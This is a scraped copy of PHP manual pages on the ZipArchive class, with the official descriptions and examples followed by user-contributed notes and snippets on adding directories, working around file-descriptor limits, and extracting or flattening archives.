System status of the Zip Archive

numFiles

Number of files in archive

filename

File name in the file system

comment

Comment for the archive

Table of Contents

  • ZipArchive::addEmptyDir — Add a new directory
  • ZipArchive::addFile — Adds a file to a ZIP archive from the given path
  • ZipArchive::addFromString — Add a file to a ZIP archive using its contents
  • ZipArchive::close — Close the active archive (opened or newly created)
  • ZipArchive::deleteIndex — delete an entry in the archive using its index
  • ZipArchive::deleteName — delete an entry in the archive using its name
  • ZipArchive::extractTo — Extract the archive contents
  • ZipArchive::getArchiveComment — Returns the Zip archive comment
  • ZipArchive::getCommentIndex — Returns the comment of an entry using the entry index
  • ZipArchive::getCommentName — Returns the comment of an entry using the entry name
  • ZipArchive::getFromIndex — Returns the entry contents using its index
  • ZipArchive::getFromName — Returns the entry contents using its name
  • ZipArchive::getNameIndex — Returns the name of an entry using its index
  • ZipArchive::getStatusString — Returns the status error message, system and/or zip messages
  • ZipArchive::getStream — Get a file handler to the entry defined by its name (read only).
  • ZipArchive::locateName — Returns the index of the entry in the archive
  • ZipArchive::open — Open a ZIP file archive
  • ZipArchive::renameIndex — Renames an entry defined by its index
  • ZipArchive::renameName — Renames an entry defined by its name
  • ZipArchive::setArchiveComment — Set the comment of a ZIP archive
  • ZipArchive::setCommentIndex — Set the comment of an entry defined by its index
  • ZipArchive::setCommentName — Set the comment of an entry defined by its name
  • ZipArchive::statIndex — Get the details of an entry defined by its index.
  • ZipArchive::statName — Get the details of an entry defined by its name.
  • ZipArchive::unchangeAll — Undo all changes done in the archive
  • ZipArchive::unchangeArchive — Revert all global changes done in the archive.
  • ZipArchive::unchangeIndex — Revert all changes done to an entry at the given index
  • ZipArchive::unchangeName — Revert all changes done to an entry with the given name.

User Contributed Notes

webmaster at sebastiangrinke dot info 06-Oct-2011 01:30
Here is a simple function which zips folders with all sub folders or only a simple file... the $data var can be a string or an array...

<?php
public function un_zip($data,$arcpf,$mode='zip',$obj=''){
        $absoluterpfad = 'YOUR_BASE_PATH';
        $arcpf = $absoluterpfad.DS.$arcpf;
        if(is_object($obj)==false){
             $archiv = new ZipArchive();
             $archiv->open($arcpf,ZipArchive::CREATE);
        }else{$archiv =& $obj;}
        if($mode=='zip'){
           if(is_array($data)==true){
                 foreach($data as $dtmp){
                     $archiv =& un_zip($dtmp,$arcpf,'zip',&$archiv);
                 }
           }else{
            if(is_dir($data)==true){
                    $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data));
                  $files = scandir($data);
               $bad = array('.','..');
               $files = array_diff($files,$bad);
               foreach($files as $ftmp){
                   if(is_dir($data.DS.$ftmp)==true){
                        $archiv->addEmptyDir(str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                        $archiv =& un_zip($data.DS.$ftmp,$arcpf,'zip',&$archiv);
                   }elseif(is_file($data.DS.$ftmp)==true){
                    $archiv->addFile($data.DS.$ftmp,str_replace($absoluterpfad.DS,'',$data.'/'.$ftmp));
                   }
                 }
            }elseif(is_file($data)==true){$archiv->addFile($data,str_replace($absoluterpfad.DS,'',$data));}
           }
        }
        if(is_object($obj)==false){$archiv->close();}
        else{return $archiv;}
        if($mode=='unzip'){$archiv->extractTo($data);}
    }
?>
Jerry dot Saravia at emc dot com 08-Aug-2011 01:57
The following code can be used to get a list of all the file names in a zip file.

<?php
$za = new ZipArchive();

$za->open('theZip.zip');

for( $i = 0; $i < $za->numFiles; $i++ ){
    $stat = $za->statIndex( $i );
    print_r( basename( $stat['name'] ) . PHP_EOL );
}
?>
anonymous at example dot net 28-Jul-2011 11:18
status - libzip error code (ER_*)
statusSys - copy of errno (E*) or zlib error code

ER_OK           N No error
ER_MULTIDISK    N Multi-disk zip archives not supported
ER_RENAME       S Renaming temporary file failed
ER_CLOSE        S Closing zip archive failed
ER_SEEK         S Seek error
ER_READ         S Read error
ER_WRITE        S Write error
ER_CRC          N CRC error
ER_ZIPCLOSED    N Containing zip archive was closed
ER_NOENT        N No such file
ER_EXISTS       N File already exists
ER_OPEN         S Can't open file
ER_TMPOPEN      S Failure to create temporary file
ER_ZLIB         Z Zlib error
ER_MEMORY       N Malloc failure
ER_CHANGED      N Entry has been changed
ER_COMPNOTSUPP  N Compression method not supported
ER_EOF          N Premature EOF
ER_INVAL        N Invalid argument
ER_NOZIP        N Not a zip archive
ER_INTERNAL     N Internal error
ER_INCONS       N Zip archive inconsistent
ER_REMOVE       S Can't remove file
ER_DELETED      N Entry has been deleted
h-fate at gmx dot net 05-Oct-2010 04:17
Be wary that there are several algorithms to generate a zip file. I found that Office OpenXML files created with ZipArchive are not recognized by Excel 2007, for example.

You have to use a different class to zip in this case, such as PclZip.
hardcorevenom at gmx dot com 15-Jun-2010 03:17
Read a file from an archive to a variable.
A warning is printed automatically in case of a CRC32 mismatch, which we capture, so we can print our own error message.

<?php
$zip = new ZipArchive();
if ($zip->open('archive.zip')) {
  $fp = $zip->getStream('myfile.txt'); //file inside archive
  if(!$fp)
    die("Error: can't get stream to zipped file");
  $stat = $zip->statName('myfile.txt');

  $buf = ""; //file buffer
  ob_start(); //to capture CRC error message
    while (!feof($fp)) {
      $buf .= fread($fp, 2048); //reading more than 2156 bytes seems to disable internal CRC32 verification (bug?)
    }
    $s = ob_get_contents();
  ob_end_clean();
  if(stripos($s, "CRC error") != FALSE){
    echo 'CRC32 mismatch, current ';
    printf("%08X", crc32($buf)); //current CRC
    echo ', expected ';
    printf("%08X", $stat['crc']); //expected CRC
  }

  fclose($fp);
  $zip->close();
  //Done, unpacked file is stored in $buf
}
?>

To create a corrupt file, change a byte in a zip file using a hex editor.
Examples
ZipArchive::addEmptyDir
Zip


Add a new directory

ZipArchive
ZipArchive::addFile
ZipArchive
PHP Manual

ZipArchive::addEmptyDir

(PHP 5 >= 5.2.0, PECL zip >= 1.8.0)

ZipArchive::addEmptyDir — Add a new directory

Description

bool ZipArchive::addEmptyDir ( string $dirname )

Adds an empty directory in the archive.

Parameters

dirname

The directory to add.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Create a new directory in an archive

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    if($zip->addEmptyDir('newDirectory')) {
        echo 'Created a new root directory';
    } else {
        echo 'Could not create the directory';
    }
    $zip->close();
} else {
    echo 'failed';
}
?>

User Contributed Notes

hunter666 at abv dot bg 26-Jun-2010 01:44
Add folder and sub-directories to zip archive.

<?php
$archive_name = "archive.zip"; // name of zip file
$archive_folder = "folder"; // the folder which you archivate

$zip = new ZipArchive;
if ($zip -> open($archive_name, ZipArchive::CREATE) === TRUE)
{
    $dir = preg_replace('/[\/]{2,}/', '/', $archive_folder."/");

    $dirs = array($dir);
    while (count($dirs))
    {
        $dir = current($dirs);
        $zip -> addEmptyDir($dir);

        $dh = opendir($dir);
        while($file = readdir($dh))
        {
            if ($file != '.' && $file != '..')
            {
                if (is_file($file))
                    $zip -> addFile($dir.$file, $dir.$file);
                elseif (is_dir($file))
                    $dirs[] = $dir.$file."/";
            }
        }
        closedir($dh);
        array_shift($dirs);
    }

    $zip -> close();
    echo 'Archiving is sucessful!';
}
else
{
    echo 'Error, can\'t create a zip file!';
}
?>
thomas dot rubbert at yahoo dot de 30-May-2009 05:19
Here's a stack-based way to zip a directory. No recursion, no function, no class:

<?php
$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::CREATE);

$dirName = 'test';

if (!is_dir($dirName)) {
    throw new Exception('Directory ' . $dirName . ' does not exist');
}

$dirName = realpath($dirName);
if (substr($dirName, -1) != '/') {
    $dirName.= '/';
}

/*
 * NOTE BY danbrown AT php DOT net: A good method of making
 * portable code in this case would be usage of the PHP constant
 * DIRECTORY_SEPARATOR in place of the '/' (forward slash) above.
 */

$dirStack = array($dirName);
//Find the index where the last dir starts
$cutFrom = strrpos(substr($dirName, 0, -1), '/')+1;

while (!empty($dirStack)) {
    $currentDir = array_pop($dirStack);
    $filesToAdd = array();

    $dir = dir($currentDir);
    while (false !== ($node = $dir->read())) {
        if (($node == '..') || ($node == '.')) {
            continue;
        }
        if (is_dir($currentDir . $node)) {
            array_push($dirStack, $currentDir . $node . '/');
        }
        if (is_file($currentDir . $node)) {
            $filesToAdd[] = $node;
        }
    }

    $localDir = substr($currentDir, $cutFrom);
    $zip->addEmptyDir($localDir);

    foreach ($filesToAdd as $file) {
        $zip->addFile($currentDir . $file, $localDir . $file);
    }
}

$zip->close();
?>
D.Jann 07-Oct-2008 05:26
I've brought a little modification to dayjo's code, so it wouldn't re-create the whole structure of your working drive in the zip file:

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive, $zipdir = ''){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            if(!empty($zipdir)) $zipArchive->addEmptyDir($zipdir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive, $zipdir . $file . "/");
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file, $zipdir . $file);

                }
            }
        }
    }
}
?>

If you don't specify the third parameter (zipdir), the directory you're adding will be added at the root of the zip file.

D.Jann
pagetronic 12-Sep-2008 03:53
addEmptyDir doesn't exist now,
use $zip->addFile($file, $dir.$fichier);

nothing on the net about this,

addEmptyDir work on Ubuntu but not on Debian Etch
Anonymous 24-Aug-2008 03:28
Here's a simple recurring function to add a directory, all sub-directories and all files to an already created zip file;

<?php
// Function to recursively add a directory,
// sub-directories and files to a zip archive
function addFolderToZip($dir, $zipArchive){
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {

            //Add the directory
            $zipArchive->addEmptyDir($dir);

            // Loop through all the files
            while (($file = readdir($dh)) !== false) {

                //If it's a folder, run the function again!
                if(!is_file($dir . $file)){
                    // Skip parent and root directories
                    if( ($file !== ".") && ($file !== "..")){
                        addFolderToZip($dir . $file . "/", $zipArchive);
                    }

                }else{
                    // Add the files
                    $zipArchive->addFile($dir . $file);

                }
            }
        }
    }
}
?>

Would be nice to see more input on these functions :)

Dayjo
benjamin dot seiller at antwerpes dot de 21-Jul-2008 04:37
There is kind of a bug in the method
ZipArchive::addFile
which affects the class ZipFolder below.
It is related to the numer of max filehandles of the OS.

As workaround add a file-counter to the class and close + reopen the archive if a certain number of files (directories count as files!) is reached.

For more details see here:
http://de.php.net/manual/en/function.ziparchive-addfile.php
or go directly here
http://bugs.php.net/bug.php?id=40494
or here
http://pecl.php.net/bugs/bug.php?id=9443
jerome at buttered-cat dot com 15-Oct-2007 01:20
Here's some code I wrote to add a NON-empty directory to ZipArchive, it's done pretty quickly but so far works great.

<?php
class ZipFolder {
    protected $zip;
    protected $root;
    protected $ignored_names;

    function __construct($file, $folder, $ignored=null) {
        $this->zip = new ZipArchive();
        $this->ignored_names = is_array($ignored) ? $ignored : $ignored ? array($ignored) : array();
        if ($this->zip->open($file, ZIPARCHIVE::CREATE)!==TRUE) {
            throw new Exception("cannot open <$file>\n");
        }
        $folder = substr($folder, -1) == '/' ? substr($folder, 0, strlen($folder)-1) : $folder;
        if(strstr($folder, '/')) {
            $this->root = substr($folder, 0, strrpos($folder, '/')+1);
            $folder = substr($folder, strrpos($folder, '/')+1);
        }
        $this->zip($folder);
        $this->zip->close();
    }

    function zip($folder, $parent=null) {
        $full_path = $this->root.$parent.$folder;
        $zip_path = $parent.$folder;
        $this->zip->addEmptyDir($zip_path);
        $dir = new DirectoryIterator($full_path);
        foreach($dir as $file) {
            if(!$file->isDot()) {
                $filename = $file->getFilename();
                if(!in_array($filename, $this->ignored_names)) {
                    if($file->isDir()) {
                        $this->zip($filename, $zip_path.'/');
                    }
                    else {
                        $this->zip->addFile($full_path.'/'.$filename, $zip_path.'/'.$filename);
                    }
                }
            }
        }
    }
}
// full path used to demonstrate it's root-path stripping ability
$zip = new ZipFolder('/tmp/test.zip', dirname(__FILE__).'/templates/', '.svn');
?>
ZipArchive
ZipArchive::addFile
ZipArchive


Adds a file to a ZIP archive from the given path

ZipArchive::addEmptyDir
ZipArchive::addFromString
ZipArchive
PHP Manual

ZipArchive::addFile

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::addFile — Adds a file to a ZIP archive from the given path

Description

bool ZipArchive::addFile ( string $filename [, string $localname = NULL [, int $start = 0 [, int $length = 0 ]]] )

Adds a file to a ZIP archive from a given path.

Parameters

filename

The path to the file to add.

localname

If supplied, this is the local name inside the ZIP archive that will override the filename.

start

This parameter is not used but is required to extend ZipArchive.

length

This parameter is not used but is required to extend ZipArchive.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

This example opens a ZIP file archive test.zip and add the file /path/to/index.txt. as newname.txt.

Example #1 Open and extract

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->addFile('/path/to/index.txt', 'newname.txt');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

Notes

Note:

When a file is set to be added to the archive, PHP will attempt to lock the file and it is only released once the ZIP operation is done. In short, it means you can first delete an added file after the archive is closed.

User Contributed Notes

john factorial 29-Dec-2010 12:57
Beware: calling $zip->addFile() on a file that doesn't exist will succeed and return TRUE, delaying the failure until you make the final $zip->close() call, which will return FALSE and potentially leave you scratching your head.

If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist.

It's also a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
aartdebruijn at gmail dot com 04-Nov-2010 06:37
When adding a file to your zip, the file is opened and stays open.
When adding over 1024 files (depending on your open files limit) the server stops adding files, resulting in a status 11 in your zip Archive. There is no warning when exceeding this open files limit with addFiles.

Check your open files with ulimit -a

This kept me busy for some time.
camuc at camuc dot net 27-Apr-2010 08:23
In some versions of this library you NEED to add the "localfile" parameter or the file will not show in the Zip folder.
pelpet at ic dot cz 20-Apr-2010 09:02
<?php
$zip=new ZipArchive;
$zip->addFile('path to the file', 'new name of the file');
?>

What I have to do, when I wan't to have the file in the zip archive with it's name before archiving?
(Sorry, I'm from Czech Republic and I can't speak English very well, if I did anywhere mistake, so ignore that pease :-)
jayarjo 24-Feb-2010 01:44
It is not obvious, since there are no noticeable examples around, but you can use $localname (second parameter) to define and control file/directory structure inside the zip. Use it if you do not want files to be included with their absolute directory tree.

<?php

$zip->addFile($abs_path, $relative_path);

?>
Anonymous 18-Jan-2010 10:30
On my system (Windows), I found that ZipArchive uses IBM850 encoding for filenames (localname). For filenames with special characters such as (é) &eacute; which appears at 0xE9 in the ISO-8859-1, it is at 0x82 in IBM850. I had to call iconv('ISO-8859-1', 'IBM850', 'Québec') to get correct file names.
peter at boring dot ch 22-Aug-2009 06:10
Here's a little extension to ZipArchive that handles directories recursively:

<?php

class Zipper extends ZipArchive {

public function addDir($path) {
    print 'adding ' . $path . '<br>';
    $this->addEmptyDir($path);
    $nodes = glob($path . '/*');
    foreach ($nodes as $node) {
        print $node . '<br>';
        if (is_dir($node)) {
            $this->addDir($node);
        } else if (is_file($node))  {
            $this->addFile($node);
        }
    }
}

} // class Zipper

?>
christophe dot braud at aquafadas dot com 11-Aug-2009 03:10
If you have some warnings with ZipArchiveImproved since the last Ubuntu update, replace "self::CREATE" by "self::CREATE | self::OVERWRITE" in the reopen function

christophe
garcia at no_span dot krautzer-lynn dot com 24-Mar-2009 06:31
If you add files that have an absolut path, like for example:
/mnt/repository/my_file.pdf
the standard windows zip utility will not be able to extract the files. The first slash trips the zip utility. You have to add relative file paths or use a symbolic link.
ss at littlerain dot com 30-Jan-2009 04:45
Note that the file isn't actually added to the archive until the $zip->close() method is called. I spent a lot of time trying to figure out why no time() went by after adding large files via $zip->addFile() but would then time out the script.
Farzad Ghanei 18-Jan-2009 02:53
here is a basic class that extends the ZipArchive to:
  * add a functionality to report the ZIP file address (I needed it and I could not find out how in ZipArchive documentation).
  * resolve the problem of adding so many files to the archive due file descriptor limit. the ZipArchiveImproved::addFile() handles this.

<?php
/**
 * ZipArchiveImproved extends ZipArchive to add some information about the zip file and some functionality.
 *
 *
 *
 * @author Farzad Ghanei
 * @uses ZipArchive
 * @version 1.0.0 2009-01-18
 */

class ZipArchiveImproved extends ZipArchive {
    protected $_archiveFileName = null;
    protected $_newAddedFilesCounter = 0;
    protected $_newAddedFilesSize = 100;

    /**
     * returns the name of the archive file.
     *
     * @return string
     */
    public function getArchiveFileName() {
        return $this->_archiveFileName;
    }

    /**
     * returns the number of files that are going to be added to ZIP
     * without reopenning the stream to file.
     *
     * @return int
     */
    public function getNewAddedFilesSize() {
        return $this->_newAddedFilesSize;
    }

    /**
     * sets the number of files that are going to be added to ZIP
     * without reopenning the stream to file. if no size is specified, default is 100.
     *
     * @param int
     * @return ZipArchiveImproved self reference
     */
    public function setNewlAddedFilesSize($size=100) {
        if ( empty($size) || !is_int($size) || $size < 1) {
            $size = 100;
        }
        $this->_newAddedFilesSize = $size;
        return $this;
    }

    /**
     * opens a stream to a ZIP archive file. calls the ZipArchive::open() internally.
     * overwrites ZipArchive::open() to add the archiveFileName functionality.
     *
     * @param string $fileName
     * @param int $flags
     * return mixed
     */
    public function open($fileName, $flags) {
        $this->_archiveFileName = $fileName;
        $this->_newAddedFilesCounter = 0;
        return parent::open($fileName,$flags);
    }

    /**
     * closes the stream to ZIP archive file. calls the ZipArchive::close() internally.
     * overwrites ZipArchive::close() to add the archiveFileName functionality.
     *
     * @return bool
     */
    public function close() {
        $this->_archiveFileName = null;
        $this->_newAddedFilesCounter = 0;
        return parent::close();
    }

    /**
     * closes the connection to ZIP file and openes the connection again.
     *
     * @return bool
     */
    public function reopen() {
        $archiveFileName = $this->_archiveFileName;
        if ( !$this->close() ) {
            return false;
        }
        return $this->open($archiveFileName,self::CREATE);
    }

    /**
     * adds a file to a ZIP archive from the given path. calls the ZipArchive::addFile() internally.
     * overwrites ZipArchive::addFile() to handle maximum file connections in operating systems.
     *
     * @param string $fileName the path to file to be added to archive
     * @param string [optional] $localname the name of the file in the ZIP archive
     * @return bool
     */
    public function addFile( $fileName ) {
        if ($this->_newAddedFilesCounter >= $this->_newAddedFilesSize) {
            $this->reopen();
        }
        if ( func_num_args() > 1 ) {
            $flags = func_get_arg(1);
            $added = parent::addFile($fileName,$flags);
            if ($added) {
                $this->_newAddedFilesCounter++;
            }
            return $added;
        }
        $added = parent::addFile($fileName);
        if ($added) {
            $this->_newAddedFilesCounter++;
        }
        return $added;
    } // public function addFile()
}
?>
marco at maranao dot ca 15-Dec-2008 10:45
This is my workaround for the file descriptor limit by closing/opening the archive file periodically.

<?php
if($backup = new ZipArchive()) {
    if($backup->open($zip, ZIPARCHIVE::OVERWRITE) === true) {
        $backup->addFile($file['realpath'], $file['path']);
        if(($count++) == 200) { // the file descriptor limit
            $backup->close();
            if($backup = new ZipArchive()) {
                $backup->open($zip);
                $count = 0;
            }
        }
    }
    $backup->close();
}
?>

Hope it helps someone.
javierseixas at gmail dt com 17-Jul-2008 08:30
I have had several problems trying adding files, because of a path problem. The error gived was this:

ZipArchive::addFile() [function.ZipArchive-addFile]: Unable to access <path>

I used an absolute root starting by "/", and it didn't work. Try starting your path with "./" (referencing the root of your site).
wacher at freemail dot hu 23-Jun-2008 01:03
The workaround above (file_get_contents) is very dangerous if you pack large files. (see memory limit).
Close/open the zip archive periodically instead of using file_get_contents().
stanleyshilov {} gmail.com 11-May-2008 12:05
It should be noted that the example provided above is not accurate.

Unlike extractTo, zip_open does not return a boolean result, so the above example will always fail.
mike at thetroubleshooters dot dk 07-Feb-2008 07:20
What is worse is that when you run out of filedescriptors it seems to fail silently, I have not been able to find any errors in any logfiles.
Andreas R. newsgroups2005 at geekmail de 03-Apr-2007 06:29
Currently the number of files that can be added using addFile to the ZIP archive (until it is closed) is limited by file descriptors limit. This is an easy workaround (on the bug links below you can find another workarounds):
<?php
    /** work around file descriptor number limitation (to avoid failure
     * upon adding more than typically 253 or 1024 files to ZIP) */
    function addFileToZip( $zip, $path, $zipEntryName ) {
        // this would fail with status ZIPARCHIVE::ER_OPEN
        // after certain number of files is added since
        // ZipArchive internally stores the file descriptors of all the
        // added files and only on close writes the contents to the ZIP file
        // see: http://bugs.php.net/bug.php?id=40494
        // and: http://pecl.php.net/bugs/bug.php?id=9443
        // return $zip->addFile( $path, $zipEntryName );

        $contents = file_get_contents( $path );
        if ( $contents === false ) {
            return false;
        }
        return $zip->addFromString( $zipEntryName, $contents );
    }
?>
ZipArchive::addEmptyDir
ZipArchive::addFromString
ZipArchive


Add a file to a ZIP archive using its contents

ZipArchive::addFile
ZipArchive::close
ZipArchive
PHP Manual

ZipArchive::addFromString

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::addFromString — Add a file to a ZIP archive using its contents

Description

bool ZipArchive::addFromString ( string $localname , string $contents )

Add a file to a ZIP archive using its contents.

Parameters

localname

The name of the entry to create.

contents

The contents to use to create the entry. It is used in a binary safe mode.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Add an entry to a new archive

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

Example #2 Add file to a directory inside an archive

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->addFromString('dir/test.txt', 'file content goes here');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

calebcjh 19-May-2010 12:54
Although this function displaces files of the same name, in actual fact, the original file is blanked and a new entry is added. The numFiles property is incremented.

Example:

File 1: foo
File 2: bar

$zip->addFromString('foo', 'new foo');

File 1:
File 2: bar
File 3: foo
gbti at ukr dot net 16-Nov-2008 10:01
if you try:

<?php
$zip->open("file", ZipArchive::CREATE);
$zip->addFromString("russian_letters/options.xml");
?>

wrong directory will be created.

if you try:

<?php
$zip->addEmptyDir("russian_letters");
?>

All be fine.
Jacques Chester 30-Jan-2007 09:10
Note that this function overwrites existing files of the same name.
ZipArchive::addFile
ZipArchive::close
ZipArchive


Close the active archive (opened or newly created)

ZipArchive::addFromString
ZipArchive::deleteIndex
ZipArchive
PHP Manual

ZipArchive::close

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::close — Close the active archive (opened or newly created)

Description

bool ZipArchive::close ( void )

Close opened or created archive and save changes. This method is automatically called at the end of the script.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

m021 at springtimesoftware dot com 19-May-2011 01:14
If you have created a zip file and added a file to it without error, yet the ZipArchive::close call fails (with ER_TMPOPEN: "Failure to create temporary file") and the zip file is not created, check to see if your ZipArchive::open call specifies a pathname containing nonexisting directories. If you expect a containing hierarchy of one or more directories, you must create them yourself before using using ZipArchive. You can write a simple function to recurse using dirname to find each parent directory, creating those that don't exist by using mkdir when leaving the recursion.
webnull dot www at gmail dot com 12-Mar-2011 01:40
Please note you must have write permissions to file and directory where the files is placed to save the archive.
john factorial 29-Dec-2010 12:58
If you're adding multiple files to a zip and your $zip->close() call is returning FALSE, ensure that all the files you added actually exist. Apparently $zip->addFile() returns TRUE even if the file doesn't actually exist. It's a good idea to check each file with file_exists() or is_readable() before calling $zip->addFile() on it.
jared at kippage dot com 02-Sep-2009 06:08
It may seem a little obvious to some but it was an oversight on my behalf.

If you are adding files to the zip file that you want to be deleted make sure you delete AFTER you call the close() function.

If the files added to the object aren't available at save time the zip file will not be created.
gilthans at gmail dot com 22-Oct-2007 11:16
Don't forget to check the zip isn't empty, folks - otherwise the zip won't be created at all, and the server will issue no warning!

I used a certain loop to add files to the zip, and struggled with permissions and documentation for hours before I realize the loop ended up adding no file, even though addFile WAS called, but on a non-existent file.
This might be the reason your zips aren't popping up.
ZipArchive::addFromString
ZipArchive::deleteIndex
ZipArchive


delete an entry in the archive using its index

ZipArchive::close
ZipArchive::deleteName
ZipArchive
PHP Manual

ZipArchive::deleteIndex

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::deleteIndex — delete an entry in the archive using its index

Description

bool ZipArchive::deleteIndex ( int $index )

Delete an entry in the archive using its index.

Parameters

index

Index of the entry to delete.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Delete file from archive using its index

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->deleteIndex(2);
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::close
ZipArchive::deleteName
ZipArchive


delete an entry in the archive using its name

ZipArchive::deleteIndex
ZipArchive::extractTo
ZipArchive
PHP Manual

ZipArchive::deleteName

(PHP 5 >= 5.2.0, PECL zip >= 1.5.0)

ZipArchive::deleteName — delete an entry in the archive using its name

Description

bool ZipArchive::deleteName ( string $name )

Delete an entry in the archive using its name.

Parameters

name

Name of the entry to delete.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Deleting a file and directory from an archive, using names

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
    $zip->deleteName('testfromfile.php');
    $zip->deleteName('testDir/');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ZipArchive::deleteIndex
ZipArchive::extractTo
ZipArchive


Extract the archive contents

ZipArchive::deleteName
ZipArchive::getArchiveComment
ZipArchive
PHP Manual

ZipArchive::extractTo

(PHP 5 >= 5.2.0, PECL zip >= 1.1.0)

ZipArchive::extractTo — Extract the archive contents

Description

bool ZipArchive::extractTo ( string $destination [, mixed $entries ] )

Extract the complete archive or the given files to the specified destination.

Parameters

destination

Location where to extract the files.

entries

The entries to extract. It accepts either a single entry name or an array of names.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Extract all entries

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->extractTo('/my/destination/dir/');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

Example #2 Extract two entries

<?php
$zip = new ZipArchive;
$res = $zip->open('test_im.zip');
if ($res === TRUE) {
    $zip->extractTo('/my/destination/dir/', array('pear_item.gif', 'testfromfile.php'));
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

sachinyadav at live dot com 12-Nov-2010 12:29
This script will search for ".txt" file(any file name) inside test.zip archive. Suppose, 'example.txt' file is found then the script will copy 'example.txt' to "txt_files" directory and rename it to 'test.zip.txt' and will remove all the blank lines from 'test.zip.txt' and resave and will exit the loop without searching remaining entries.
This script can be useful to extract .DIZ and GIF files to display ZIP archive details in your script.
<?php
   $value="test.zip";
   $filename="zip_files/$value";
   $zip = new ZipArchive;
     if ($zip->open($filename) === true) {
      echo "Generating TEXT file.";
          for($i = 0; $i < $zip->numFiles; $i++) {
             $entry = $zip->getNameIndex($i);
               if(preg_match('#\.(txt)$#i', $entry))
                {
                ////This copy function will move the entry to the root of "txt_files" without creating any sub-folders unlike "ZIP->EXTRACTO" function.
                copy('zip://'.dirname(__FILE__).'/zip_files/'.$value.'#'.$entry, 'txt_files/'.$value.'.txt');
                $content = file_get_contents("txt_files/$value.txt");
                $newcontent = preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $content);
                file_put_contents("txt_files/$value.txt", "$newcontent");
                break;
                }
              }
             $zip->close();
            }
    else{
         echo "ZIP archive failed";
        }
?>

enjoy PHP programming.
Sachin Yadav
php-dev at proneticas dot net 07-Nov-2010 11:22
If you want to copy one file at a time and remove the folder name that is stored in the ZIP file, so you don't have to create directories from the ZIP itself, then use this snippet (basically collapses the ZIP file into one Folder).

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {
    for($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $fileinfo = pathinfo($filename);
        copy("zip://".$path."#".$filename, "/your/new/destination/".$fileinfo['basename']);
    }
    $zip->close();
}

?>

* On a side note, you can also use $_FILES['userfile']['tmp_name'] as the $path for an uploaded ZIP so you never have to move it or extract a uploaded zip file.

Cheers!

ProNeticas Dev Team
quake2005 at gmail dot com 20-Aug-2010 11:05
If you want to extract one file at a time, you can use this:

<?php

$path = 'zipfile.zip'

$zip = new ZipArchive;
if ($zip->open($path) === true) {

    for($i = 0; $i < $zip->numFiles; $i++) {

        $zip->extractTo('path/to/extraction/', array($zip->getNameIndex($i)));

        // here you can run a custom function for the particular extracted file

    }

    $zip->close();

}

?>
cory dot mawhorter at ephective dot com 18-Apr-2010 01:28
This function will flatten a zip file using the ZipArchive class.

It will extract all the files in the zip and store them in a single destination directory.  That is, no sub-directories will be created.

If anyone knows a better way to determine if an entry is a directory, please chime in.  I feel dirty checking for a trailing slash.

<?php
// dest shouldn't have a trailing slash
function zip_flatten ( $zipfile, $dest='.' )
{
    $zip = new ZipArchive;
    if ( $zip->open( $zipfile ) )
    {
        for ( $i=0; $i < $zip->numFiles; $i++ )
        {
            $entry = $zip->getNameIndex($i);
            if ( substr( $entry, -1 ) == '/' ) continue; // skip directories

            $fp = $zip->getStream( $entry );
            $ofp = fopen( $dest.'/'.basename($entry), 'w' );

            if ( ! $fp )
                throw new Exception('Unable to extract the file.');

            while ( ! feof( $fp ) )
                fwrite( $ofp, fread($fp, 8192) );

            fclose($fp);
            fclose($ofp);
        }

                $zip->close();
    }
    else
        return false;

    return $zip;
}

/*
Example Usage:

zip_flatten( 'test.zip', 'my/path' );
*/
?>

[EDIT BY danbrown AT php DOT net: Added $zip-close() per indication by original poster in follow-up note on 18-APR-2010.]
